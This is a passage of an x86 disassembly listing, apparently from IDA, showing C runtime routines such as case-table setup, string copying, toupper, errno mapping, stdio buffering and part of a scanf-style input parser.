		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: sub_42367B+9p
					; sub_4236D3+Dp ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


